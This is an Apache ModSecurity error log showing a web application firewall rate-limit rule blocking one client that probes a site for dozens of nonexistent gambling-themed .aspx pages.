[Wed Feb 25 18:47:29.824894 2026] [:error] [pid 5619:tid 5652] [client 193.70.44.235:52930] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZ7TQZFUzdv-0L_F4ftAHAAAAhE"]
[Wed Feb 25 18:47:31.708156 2026] [:error] [pid 5556:tid 5601] [client 193.70.44.235:52936] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZ7TQ6OrYeaTyh7lGRUuawAAAc4"]
[Wed Feb 25 18:47:33.771265 2026] [:error] [pid 5619:tid 5635] [client 193.70.44.235:52944] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZ7TRZFUzdv-0L_F4ftAIgAAAgA"]
[Wed Feb 25 18:47:35.660545 2026] [:error] [pid 60387:tid 60490] [client 193.70.44.235:36686] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZ7TR4HL0QH7Sr13X0JTPQAAApI"]
[Wed Feb 25 18:47:37.551982 2026] [:error] [pid 5619:tid 5641] [client 193.70.44.235:36690] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZ7TSZFUzdv-0L_F4ftAJwAAAgY"]
[Wed Feb 25 18:47:39.439168 2026] [:error] [pid 60387:tid 60495] [client 193.70.44.235:36700] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZ7TS4HL0QH7Sr13X0JTRwAAApc"]
[Wed Feb 25 18:47:41.477530 2026] [:error] [pid 60387:tid 60480] [client 193.70.44.235:36716] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZ7TTYHL0QH7Sr13X0JTSgAAAog"]
[Wed Feb 25 18:47:43.382296 2026] [:error] [pid 5556:tid 5605] [client 193.70.44.235:36728] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZ7TT6OrYeaTyh7lGRUueAAAAdI"]
[Wed Feb 25 18:47:45.266784 2026] [:error] [pid 20658:tid 20677] [client 193.70.44.235:53544] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZ7TUeu8cohhPfsAIFnxRAAAAAo"]
[Wed Feb 25 18:47:47.159341 2026] [:error] [pid 60387:tid 60487] [client 193.70.44.235:53546] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZ7TU4HL0QH7Sr13X0JTVwAAAo8"]
[Wed Feb 25 18:47:49.211283 2026] [:error] [pid 60387:tid 60481] [client 193.70.44.235:53552] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZ7TVYHL0QH7Sr13X0JTYAAAAok"]
[Wed Feb 25 18:47:51.106233 2026] [:error] [pid 60498:tid 60521] [client 193.70.44.235:53554] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZ7TVyFCVhQ3ffus0uIcYAAAAtA"]
[Wed Feb 25 18:47:53.137137 2026] [:error] [pid 20763:tid 20772] [client 193.70.44.235:53562] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZ7TWU0w_zc13OX-xiYbmQAAAMc"]
[Wed Feb 25 18:47:55.188976 2026] [:error] [pid 5556:tid 5592] [client 193.70.44.235:58388] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZ7TW6OrYeaTyh7lGRUugQAAAcU"]
[Wed Feb 25 18:47:57.224571 2026] [:error] [pid 20659:tid 20712] [client 193.70.44.235:58400] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZ7TXT_THK_HtK-Q44IN2AAAAFE"]
[Wed Feb 25 18:47:59.243884 2026] [:error] [pid 20658:tid 20675] [client 193.70.44.235:58412] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZ7TX-u8cohhPfsAIFnxSQAAAAg"]
[Wed Feb 25 18:48:34.143665 2026] [:error] [pid 20658:tid 20691] [client 193.70.44.235:58420] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZ7Tguu8cohhPfsAIFnxXwAAABg"]
[Wed Feb 25 18:48:36.098165 2026] [:error] [pid 60387:tid 60478] [client 193.70.44.235:48086] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZ7ThIHL0QH7Sr13X0JTvQAAAoY"]
[Wed Feb 25 18:48:38.107646 2026] [:error] [pid 60387:tid 60494] [client 193.70.44.235:48096] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZ7ThoHL0QH7Sr13X0JTxAAAApY"]
[Wed Feb 25 18:48:40.121756 2026] [:error] [pid 5619:tid 5638] [client 193.70.44.235:48104] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZ7TiJFUzdv-0L_F4ftATAAAAgM"]
[Wed Feb 25 18:48:42.137065 2026] [:error] [pid 5556:tid 5591] [client 193.70.44.235:48110] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZ7TiqOrYeaTyh7lGRUuywAAAcQ"]
[Wed Feb 25 18:48:44.144277 2026] [:error] [pid 5556:tid 5599] [client 193.70.44.235:48114] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZ7TjKOrYeaTyh7lGRUu1QAAAcw"]
[Wed Feb 25 18:48:46.001021 2026] [:error] [pid 20659:tid 20706] [client 193.70.44.235:53348] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZ7Tjj_THK_HtK-Q44IOBgAAAEs"]
[Wed Feb 25 18:48:48.036320 2026] [:error] [pid 60500:tid 60594] [client 193.70.44.235:53350] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZ7TkPY9avxuno9KAT9I4AAAA0o"]
[Wed Feb 25 18:48:50.055032 2026] [:error] [pid 60498:tid 60520] [client 193.70.44.235:53358] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZ7TkiFCVhQ3ffus0uIcjQAAAs8"]
[Wed Feb 25 18:48:51.924337 2026] [:error] [pid 5619:tid 5648] [client 193.70.44.235:53372] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZ7Tk5FUzdv-0L_F4ftAUAAAAg0"]
[Wed Feb 25 18:48:53.929441 2026] [:error] [pid 60387:tid 60472] [client 193.70.44.235:53374] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZ7TlYHL0QH7Sr13X0JT2wAAAoA"]
[Wed Feb 25 18:48:55.942677 2026] [:error] [pid 60387:tid 60478] [client 193.70.44.235:50950] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZ7Tl4HL0QH7Sr13X0JT4wAAAoY"]
[Wed Feb 25 18:48:57.949365 2026] [:error] [pid 60290:tid 60309] [client 193.70.44.235:50958] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZ7TmTPwSUztcPyiofqsOAAAARE"]
[Wed Feb 25 18:48:59.814051 2026] [:error] [pid 60387:tid 60483] [client 193.70.44.235:50970] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZ7Tm4HL0QH7Sr13X0JT7wAAAos"]
[Wed Feb 25 18:49:01.871193 2026] [:error] [pid 60498:tid 60528] [client 193.70.44.235:50986] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZ7TnSFCVhQ3ffus0uIcpAAAAtc"]
[Wed Feb 25 18:49:03.726942 2026] [:error] [pid 60387:tid 60488] [client 193.70.44.235:50996] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZ7Tn4HL0QH7Sr13X0JT_gAAApA"]
[Wed Feb 25 18:49:05.744805 2026] [:error] [pid 60498:tid 60520] [client 193.70.44.235:59302] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZ7ToSFCVhQ3ffus0uIcqgAAAs8"]
[Wed Feb 25 18:49:07.752121 2026] [:error] [pid 60387:tid 60490] [client 193.70.44.235:59310] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZ7To4HL0QH7Sr13X0JUEwAAApI"]
[Wed Feb 25 18:49:09.662761 2026] [:error] [pid 60387:tid 60474] [client 193.70.44.235:59316] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZ7TpYHL0QH7Sr13X0JUGwAAAoI"]
[Wed Feb 25 18:49:11.661150 2026] [:error] [pid 60498:tid 60528] [client 193.70.44.235:59320] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZ7TpyFCVhQ3ffus0uIcrQAAAtc"]
[Wed Feb 25 18:49:13.659838 2026] [:error] [pid 60387:tid 60484] [client 193.70.44.235:59334] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZ7TqYHL0QH7Sr13X0JUJQAAAow"]
[Wed Feb 25 18:49:15.691223 2026] [:error] [pid 60498:tid 60516] [client 193.70.44.235:46812] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZ7TqyFCVhQ3ffus0uIcrwAAAss"]
[Wed Feb 25 18:49:17.556632 2026] [:error] [pid 5556:tid 5610] [client 193.70.44.235:46820] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZ7TraOrYeaTyh7lGRUvCQAAAdc"]
[Wed Feb 25 18:49:19.554155 2026] [:error] [pid 20763:tid 20786] [client 193.70.44.235:46834] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZ7Tr00w_zc13OX-xiYbqAAAANU"]
[Wed Feb 25 18:49:21.580405 2026] [:error] [pid 37809:tid 37811] [client 193.70.44.235:46840] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZ7TsSIC419p2bqBCnCKSAAAAIA"]
[Wed Feb 25 18:49:23.583705 2026] [:error] [pid 5556:tid 5609] [client 193.70.44.235:46846] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZ7Ts6OrYeaTyh7lGRUvDgAAAdY"]
[Wed Feb 25 18:49:25.599302 2026] [:error] [pid 5619:tid 5649] [client 193.70.44.235:51954] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZ7TtZFUzdv-0L_F4ftAYgAAAg4"]
[Wed Feb 25 18:49:27.604191 2026] [:error] [pid 60387:tid 60496] [client 193.70.44.235:51968] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZ7Tt4HL0QH7Sr13X0JUMgAAApg"]
[Wed Feb 25 18:49:29.463138 2026] [:error] [pid 5619:tid 5655] [client 193.70.44.235:51982] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZ7TuZFUzdv-0L_F4ftAYwAAAhQ"]
[Wed Feb 25 18:50:03.981963 2026] [:error] [pid 5556:tid 5606] [client 193.70.44.235:51984] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZ7T26OrYeaTyh7lGRUvdQAAAdM"]
[Wed Feb 25 18:50:05.933529 2026] [:error] [pid 60387:tid 60494] [client 193.70.44.235:54318] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZ7T3YHL0QH7Sr13X0JUwQAAApY"]
[Wed Feb 25 18:50:07.808933 2026] [:error] [pid 20658:tid 20688] [client 193.70.44.235:54322] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZ7T3-u8cohhPfsAIFnxdwAAABU"]
[Wed Feb 25 18:50:09.820348 2026] [:error] [pid 5556:tid 5603] [client 193.70.44.235:54326] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZ7T4aOrYeaTyh7lGRUvkQAAAdA"]
[Wed Feb 25 18:50:11.829228 2026] [:error] [pid 60387:tid 60476] [client 193.70.44.235:54328] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZ7T44HL0QH7Sr13X0JU1wAAAoQ"]
[Wed Feb 25 18:50:13.732500 2026] [:error] [pid 5556:tid 5596] [client 193.70.44.235:54334] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZ7T5aOrYeaTyh7lGRUvlgAAAck"]
[Wed Feb 25 18:50:15.746377 2026] [:error] [pid 20763:tid 20786] [client 193.70.44.235:40296] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZ7T500w_zc13OX-xiYbtAAAANU"]
[Wed Feb 25 18:50:17.753146 2026] [:error] [pid 5556:tid 5603] [client 193.70.44.235:40312] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZ7T6aOrYeaTyh7lGRUvmwAAAdA"]
[Wed Feb 25 18:50:19.747707 2026] [:error] [pid 60387:tid 60490] [client 193.70.44.235:40314] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZ7T64HL0QH7Sr13X0JU4QAAApI"]
[Wed Feb 25 18:50:21.760703 2026] [:error] [pid 60498:tid 60525] [client 193.70.44.235:40316] [client 193.70.44.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZ7T7SFCVhQ3ffus0uIdLQAAAtQ"]
